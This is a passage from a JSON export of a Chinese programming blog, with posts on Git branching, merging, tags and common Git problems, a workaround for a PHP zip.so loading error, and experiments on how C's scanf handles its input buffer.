log\u003c/code\u003e就能看到你的每一个提交记录。\u003c/p\u003e\u003cp\u003e除了上面说的那些,还有一个最重要的功能没有提到:git分支。git的提交历史就像是一个复杂树状链表结构,每一个提交都指向它的父结点。当你创建提交时,其实你就指定了它的父结点:也就是你这次更改的状态,它就是你的父节点。因此,你可以选择一个节点,将它作为你的父结点,并将你的改动提交的父结点指向它。而如果你指向的父结点已经有了一个子结点,那么这就会创建一个分支(branch),这个分支一般以一个名字标识,范围是从分叉点到这个分支的最新的一次提交记录。这就好比玩Gal时,玩到一半时,回溯到前面的一个结点,选择了另一个选项,从而开启了另一条世界线一样。而与Galgame不同的是,你可以将两个结局“合二为一”,合并为一个新的结局,并开始一段新的可能。基于提交的Git,就能做到将另一个分支的最新提交结点,和当前所在的结点合并,从而产生一个新的结点。一般而言,这个结点会被看作是属于当前分支的:例如,把develop分支合并到当前所在的master分支,产生的用于merge的提交记录就属于master分支。这样的分支模型是git设计的最大魅力之一。\u003c/p\u003e\u003cp\u003e基于git的分支系统,就诞生了使用分支进行开发的最佳实践,也就是git工作流。具体而言就是约定了几个用来完成特定工作的git分支,并严格规定了分支之间的操作准则。\u003c/p\u003e\u003ch3 id=\"Commit\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Commit\" class=\"headerlink\" title=\"Commit\"\u003e\u003c/a\u003eCommit\u003c/h3\u003e\u003cp\u003e这是git的基础操作之一,在使用之前,先使用\u003ccode\u003egit add\u003c/code\u003e将要提交的文件加入暂存区。最简单的用法就是:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit commit\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后等待git弹出提交消息编辑器,输入提交消息,完成提交。如果输入了空白消息,git就会取消提交。\u003c/p\u003e\u003ch3 id=\"Push-amp-Pull\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Push-amp-Pull\" class=\"headerlink\" title=\"Push \u0026amp; Pull\"\u003e\u003c/a\u003ePush \u0026amp; Pull\u003c/h3\u003e\u003cp\u003e推送代码到远程仓库/拉取远程仓库到本地。用于同步本地和云端的代码更改。运行时一般不加啥参数,就是如果目标已经有了更改,可能得加上\u003ccode\u003e--merge\u003c/code\u003e或者\u003ccode\u003e--rebase\u003c/code\u003e来处理冲突。\u003c/p\u003e\u003ch3 id=\"GitHub-Pull-Request-PR\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#GitHub-Pull-Request-PR\" class=\"headerlink\" title=\"GitHub Pull Request(PR)\"\u003e\u003c/a\u003eGitHub Pull Request(PR)\u003c/h3\u003e\u003cp\u003e虽然不属于git的基本操作但还是提一嘴。这是GitHub的一个操作,用于将别的分支合并到一个特定的分支上。它的使用场景通常如下:你想贡献代码给一个开源项目,就先在GitHub上fork他们的仓库,随后在其中完成你的更改,创建提交。最后,发起一个Pull Request,请求目标仓库拉取你仓库的最新提交到它自身。这种合并是可以跨越仓库的,而前提是它们之间得是fork的关系:其他仓库都是这个仓库的\u003ccode\u003efork\u003c/code\u003e。满足这个条件之后,就可以在GitHub上新建一个PR,来通过这样的方式贡献你的代码了。\u003c/p\u003e\u003cp\u003e像Linux这样的重量级开源自由软件,就是无数人通过PR之类的操作慢慢构建起来的。甚至现在打开\u003ca href=\"https://github.com/torvalds/linux\"\u003e这个页面\u003c/a\u003e还能看到Linus天天在Merge PR(笑死\u003c/p\u003e\u003ch3 id=\"Merge\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Merge\" class=\"headerlink\" title=\"Merge\"\u003e\u003c/a\u003eMerge\u003c/h3\u003e\u003cp\u003e基本用法:假设当前是master分支,你想要将dev分支合并进来:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit merge dev\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果没有冲突的话,合并就会顺利完成;否则,你需要在合并编辑器里手动处理那些冲突,然后再提交,完成合并。\u003c/p\u003e\u003ch4 id=\"Fast-Forward\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Fast-Forward\" class=\"headerlink\" title=\"Fast-Forward\"\u003e\u003c/a\u003eFast-Forward\u003c/h4\u003e\u003cp\u003e就和它的名字一样,它是用于快速跟进的合并功能。一般的merge会生车工一个merge提交,而fast-forward只是让主分支的HEAD指向被merge的分支的HEAD。这样做的好处显而易见:开发进度跟进非常容易,只需要移动一个指针即可,并且节省了git的空间占用开销。缺点却很是问题:当被合并的分支删除后,\u003cstrong\u003egit的树结构就会被“捋平”\u003c/strong\u003e——那些fast-forward的点上没有merge生成的commit节点,所有fast-forward之间的连线自然就相当于“断开”的。\u003c/p\u003e\u003cp\u003e因此,Merge时,尽量禁用fast-forward,否则一旦删除分支,就无法再看到那个分支上到底干了什么。这对于代码问题追踪是很不利的因素。因此在开发中,应当尽量禁用fast-forward。\u003c/p\u003e\u003cp\u003e全局禁用的指令如下:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit config --global --add merge.ff \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"Branch\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Branch\" class=\"headerlink\" title=\"Branch\"\u003e\u003c/a\u003eBranch\u003c/h3\u003e\u003ch3 id=\"Log\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Log\" class=\"headerlink\" title=\"Log\"\u003e\u003c/a\u003eLog\u003c/h3\u003e\u003ch3 id=\"Tag\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Tag\" class=\"headerlink\" title=\"Tag\"\u003e\u003c/a\u003eTag\u003c/h3\u003e\u003cp\u003eGit tag是一种用于在Git仓库中标记特定版本的方法。它通常被用来标记重要的里程碑版本或发布版本,以便于在后续的开发或维护过程中快速定位和回溯到这些版本。\u003c/p\u003e\u003cp\u003eGit tag可以被创建并附加到任何一个Git commit对象上,而且可以添加任意多个标签,每个标签都可以添加一个描述信息。\u003c/p\u003e\u003cp\u003e在Git中,有两种类型的tag: lightweight tag和annotated tag。\u003c/p\u003e\u003cp\u003e轻量级标签(Lightweight tag)只是一个指向某个commit的引用,相当于一个不带附加信息的快照。而附注标签(Annotated tag)则是一个独立的Git对象,它除了包含指向某个commit的引用外,还可以包含标签作者、标签日期、描述信息等元数据。附注标签更适合用于发布版本和重要的里程碑。\u003c/p\u003e\u003cp\u003e要创建一个tag,可以使用\u003ccode\u003egit tag\u003c/code\u003e命令,例如:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit tag v1.0.0 \u003cspan class=\"comment\"\u003e# 创建一个名为v1.0.0的轻量级标签\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egit tag -a v1.0.0 -m \u003cspan class=\"string\"\u003e\u0026#34;Release version 1.0.0\u0026#34;\u003c/span\u003e \u003cspan class=\"comment\"\u003e# 创建一个名为v1.0.0的附注标签,同时添加描述信息\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e要将标签推送到远程仓库,可以使用\u003ccode\u003egit push\u003c/code\u003e命令,例如:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit push origin v1.0.0 \u003cspan class=\"comment\"\u003e# 将名为v1.0.0的标签推送到远程仓库\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e要查看所有标签,可以使用\u003ccode\u003egit tag\u003c/code\u003e命令,例如:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit tag \u003cspan class=\"comment\"\u003e# 列出所有标签\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egit tag -l \u003cspan class=\"string\"\u003e\u0026#34;v1.*\u0026#34;\u003c/span\u003e \u003cspan class=\"comment\"\u003e# 列出所有以v1开头的标签\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"常见问题\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98\" class=\"headerlink\" title=\"常见问题\"\u003e\u003c/a\u003e常见问题\u003c/h2\u003e\u003cul\u003e\u003cli\u003eCannot do a soft reset in the middle of a merge\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e错误原因很显然,就是我们在合并分支时想要撤销上次提交。我通常是因为在一个设备上commit\u0026amp;push了一些代码,而在另一台设备上已经commit了一些代码,随后打算先pull同步一下再push上去。这时就会提示将pull下来的代码merge到本地仓库中,这时候我一般会merge\u0026amp;push,但是有时候发现不小心把另一个分支的给pull到当前分支了,这时候就需要取消错误的pull操作。然而此时已经进入了merge状态,所以只能先退出这状态再重新正确地同步仓库。\u003c/p\u003e\u003cp\u003e首先,用\u003ccode\u003egit stash\u003c/code\u003e保存当前的更改,然后\u003ccode\u003egit reset --merge\u003c/code\u003e退出合并状态。这时再重新正确拉取代码即可。\u003c/p\u003e\u003cul\u003e\u003cli\u003eLinux平台鉴权失败\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e这是因为GitHub现在已经禁用了Git Cli的登录方式。因此我们需要重新配置其他的凭据管理器。比如我使用了\u003ccode\u003egit-credential-oauth\u003c/code\u003e,这样我就可以跳转到浏览器里登录认证GitHub凭据。配置方法很简单:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit config --global --\u003cspan class=\"built_in\"\u003eunset\u003c/span\u003e credential.helper\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egit-credential-oauth configure\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e完成后,再执行push时,就会弹出浏览器窗口提示授权GitHub帐号了。\u003c/p\u003e\u003cul\u003e\u003cli\u003e文件上传和下载后,文件名大小写变化\u003c/li\u003e\u003c/ul\u003e\u003cp\u003egit默认设置中,对于文件名的设置是\u003cstrong\u003e大小写不敏感\u003c/strong\u003e。因此如果有必要的话,还是把这个设为false来解决问题吧:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 首先获取当前设置状态,为true则执行下一条指令\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egit config --get core.ignorecase \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 设置不忽略大小写\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egit config core.ignorecase \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003eGit Pull –Rebase vs –Merge\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e假设A和B同时克隆了一个仓库,并各自完成了一些修改。此时A想要推送自己的提交,却发现B已经推送了自己的提交。此时应该怎么做呢?\u003c/p\u003e\u003cp\u003e两种方法,首先是merge。拉取的时候加上\u003ccode\u003e--merge\u003c/code\u003e选项,会自动合并你们的提交。如果有冲突,就会在你的合并编辑器里展示出来,待你修改完成后,以一个合并提交的方式提交上去。\u003c/p\u003e\u003cp\u003e其次是rebase。它大致相当于“移花接木“:把你本地做的提交拼接到拉取下来的更改后边。这样产生的提交记录更加简洁。用法就是拉取时加上\u003ccode\u003e--rebase\u003c/code\u003e参数。\u003c/p\u003e\u003cp\u003e两种方式的选择取决于你们项目的开发规范,以及你的喜好。如果偏爱简洁,你可能更喜欢rebase;如果你追求commit的尽可能详尽,那么merge可能更适合你。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"PHP报错:无法加载zip.so","time":"2022-04-22T14:46:01Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e解决方法很简单:将\u003ccode\u003e/etc/php/7.4/mods-available/\u003c/code\u003e目录下的\u003ccode\u003e.ini\u003c/code\u003e文件全部重命名为\u003ccode\u003e.so\u003c/code\u003e文件, 或删除对应的\u003ccode\u003e*.ini\u003c/code\u003e文件,如下:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e /etc/php/7.4/mods-available/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo \u003cspan class=\"built_in\"\u003emv\u003c/span\u003e zip.ini zip.so\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e具体咋回事还不太清楚。网上还有另一种解决方法,是\u003ccode\u003esudo vim /etc/ld.so.conf\u003c/code\u003e并增加一些内容,不过我这里似乎无效:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e# 将/etc/ld.so.conf替换为如下内容\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003einclude /etc/ld.so.conf.d/*.conf\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/usr/lib64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/usr/lib\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/usr/local/lib\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/usr/local/lib64\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/PHP/PHP%E6%8A%A5%E9%94%99%EF%BC%9A%E6%97%A0%E6%B3%95%E5%8A%A0%E8%BD%BDzip.so/"},{"title":"对C语言scanf函数机制的浅探究","time":"2022-03-31T12:24:37Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"对C语言scanf函数机制的浅探究\"\u003e\u003ca href=\"https://xeonds.github.io/2022/03/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E5%AF%B9C%E8%AF%AD%E8%A8%80scanf%E5%87%BD%E6%95%B0%E6%9C%BA%E5%88%B6%E7%9A%84%E6%B5%85%E6%8E%A2%E7%A9%B6/#%E5%AF%B9C%E8%AF%AD%E8%A8%80scanf%E5%87%BD%E6%95%B0%E6%9C%BA%E5%88%B6%E7%9A%84%E6%B5%85%E6%8E%A2%E7%A9%B6\" class=\"headerlink\" title=\"对C语言scanf函数机制的浅探究\"\u003e\u003c/a\u003e对C语言scanf函数机制的浅探究\u003c/h1\u003e\u003cp\u003e在使用C语言写程序的时候,往往会使用到\u003ccode\u003escanf()\u003c/code\u003e函数,然而如果对这个函数的机制不太清楚,不正确的输入下,产生的结果难以估计。于是通过实验,总结了一下\u003ccode\u003escanf()\u003c/code\u003e函数的机制。\u003c/p\u003e\u003chr/\u003e\u003ch2 id=\"格式化字符串匹配失败会直接退出函数运行\"\u003e\u003ca href=\"https://xeonds.github.io/2022/03/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E5%AF%B9C%E8%AF%AD%E8%A8%80scanf%E5%87%BD%E6%95%B0%E6%9C%BA%E5%88%B6%E7%9A%84%E6%B5%85%E6%8E%A2%E7%A9%B6/#%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%8C%B9%E9%85%8D%E5%A4%B1%E8%B4%A5%E4%BC%9A%E7%9B%B4%E6%8E%A5%E9%80%80%E5%87%BA%E5%87%BD%E6%95%B0%E8%BF%90%E8%A1%8C\" class=\"headerlink\" title=\"格式化字符串匹配失败会直接退出函数运行\"\u003e\u003c/a\u003e格式化字符串匹配失败会直接退出函数运行\u003c/h2\u003e\u003chr/\u003e\u003cpre\u003e\u003ccode\u003eint a=4;scanf(\u0026#34;x%d\u0026#34;, \u0026amp;a);printf(\u0026#34;%d\u0026#34;, a);\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如果此时输入了\u003ccode\u003ea89\u003c/code\u003e,格式化字符串匹配失败,将直接退出函数。\u003ccode\u003e变量a\u003c/code\u003e的值没有被改变。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003eint a=4;scanf(\u0026#34;%d\u0026#34;, \u0026amp;a);printf(\u0026#34;%d\u0026#34;, a);\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如果此时输入了字母\u003ccode\u003ea\u003c/code\u003e,格式化字符串匹配失败,也将直接退出函数。\u003ccode\u003e变量a\u003c/code\u003e的值也没有被改变。所以这两段代码的输出都是\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e4\u003c/code\u003e\u003c/pre\u003e\u003chr/\u003e\u003ch2 id=\"输入缓存区\"\u003e\u003ca href=\"https://xeonds.github.io/2022/03/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E5%AF%B9C%E8%AF%AD%E8%A8%80scanf%E5%87%BD%E6%95%B0%E6%9C%BA%E5%88%B6%E7%9A%84%E6%B5%85%E6%8E%A2%E7%A9%B6/#%E8%BE%93%E5%85%A5%E7%BC%93%E5%AD%98%E5%8C%BA\" class=\"headerlink\" title=\"输入缓存区\"\u003e\u003c/a\u003e输入缓存区\u003c/h2\u003e\u003chr/\u003e\u003cp\u003eC语言有输入缓存区,scanf会优先从缓存区读取数据来匹配格式化字符串,输入缓存区为空的话才会向用户请求输入。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e注意是为空才请求输入,而不是匹配不成功请求输入\u003c/p\u003e\u003c/blockquote\u003e\u003cpre\u003e\u003ccode\u003echar a;int b=1;scanf(\u0026#34;%c\u0026#34;,\u0026amp;a);scanf(\u0026#34;%d\u0026#34;,\u0026amp;b);printf(\u0026#34;输出:%d\u0026#34;,b);\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e例如这串代码,如果第一次请求输入时输入了 \u003ccode\u003eab\u003c/code\u003e ,此时字符 ‘a’ 被存入\u003ccode\u003e变量a\u003c/code\u003e,输入缓存区还剩下 \u003ccode\u003e[ \u0026#39;b\u0026#39; , \u0026#39;\\n\u0026#39; ]\u003c/code\u003e ,所以第二个\u003ccode\u003escanf\u003c/code\u003e函数不会再请求用户输入,而是直接去缓存区匹配,而这次匹配不成功,所以\u003ccode\u003e变量b\u003c/code\u003e的值没有被改变过。这段代码的输出为\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e输出:1\u003c/code\u003e\u003c/pre\u003e\u003cblockquote\u003e\u003cp\u003e使用占位符\u003ccode\u003e%d\u003c/code\u003e时情况不太一样\u003c/p\u003e\u003c/blockquote\u003e\u003cpre\u003e\u003ccode\u003escanf(\u0026#34;%d\u0026#34;);\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e我们在使用\u003ccode\u003e%d\u003c/code\u003e接受数字输入时,发现一种情况,即使直接输入回车,也不会匹配不成功,而是一直等待用户输入,直到输入含有\u003cstrong\u003e空格\u003c/strong\u003e、\u003cstrong\u003e回车\u003c/strong\u003e之外的字符传入。\u003c/p\u003e\u003cp\u003e为什么呢?考虑这种情况:\u003ccode\u003escanf(\u0026#34;%d%d\u0026#34;, \u0026amp;a, \u0026amp;b)\u003c/code\u003e,用户会在输入第二个数字前先打上空格或者回车,所以设计了这种情况。\u003c/p\u003e\u003cp\u003e就是说,C语言按\u003ccode\u003e%d\u003c/code\u003e接受输入时,会把匹配到数字之前匹配到的空格和回车看作分隔符拿出缓存区扔掉,不作匹配使用,继续请求用户输入。\u003c/p\u003e\u003cp\u003e再看刚才的代码,分析一下。如果输入\u003ccode\u003ea\u003c/code\u003e,此时字符 ‘a’ 被存入\u003ccode\u003e变量a\u003c/code\u003e,输入缓存区还剩下 \u003ccode\u003e[ \u0026#39;\\n\u0026#39; ]\u003c/code\u003e ,所以这种情况下,即使缓存区还有一个字符,可因为它是换行符,按\u003ccode\u003e%d\u003c/code\u003e输入时依旧会把它看作分隔符,此时还是会向用户请求输入。\u003c/p\u003e\u003chr/\u003e\u003ch2 id=\"格式化字符串的匹配机制–-gt-逐字符匹配\"\u003e\u003ca href=\"https://xeonds.github.io/2022/03/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E5%AF%B9C%E8%AF%AD%E8%A8%80scanf%E5%87%BD%E6%95%B0%E6%9C%BA%E5%88%B6%E7%9A%84%E6%B5%85%E6%8E%A2%E7%A9%B6/#%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E7%9A%84%E5%8C%B9%E9%85%8D%E6%9C%BA%E5%88%B6%E2%80%93-gt-%E9%80%90%E5%AD%97%E7%AC%A6%E5%8C%B9%E9%85%8D\" class=\"headerlink\" title=\"格式化字符串的匹配机制–\u0026gt; 逐字符匹配\"\u003e\u003c/a\u003e格式化字符串的匹配机制–\u0026gt; \u003cstrong\u003e逐字符匹配\u003c/strong\u003e\u003c/h2\u003e\u003chr/\u003e\u003cp\u003e如果我们想要以a-b的形式输入系数-指数以此存储一个多项式,a-b之间以英文逗号分隔,我们会怎么写呢?\u003c/p\u003e\u003cpre\u003e\u003ccode\u003eint c, e;do{ scanf(\u0026#34;%d-%d\u0026#34;, \u0026amp;c, \u0026amp;e); /* 省略存储过程 */} while (getchar()==\u0026#39;,\u0026#39;);\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e这么写非常好,但是如果用户没有按给定格式输入时,会发生什么错误我们得心里有数。\u003c/p\u003e\u003cp\u003e比如我输入是:\u003ccode\u003e3,4-3,5-,a-5\u003c/code\u003e 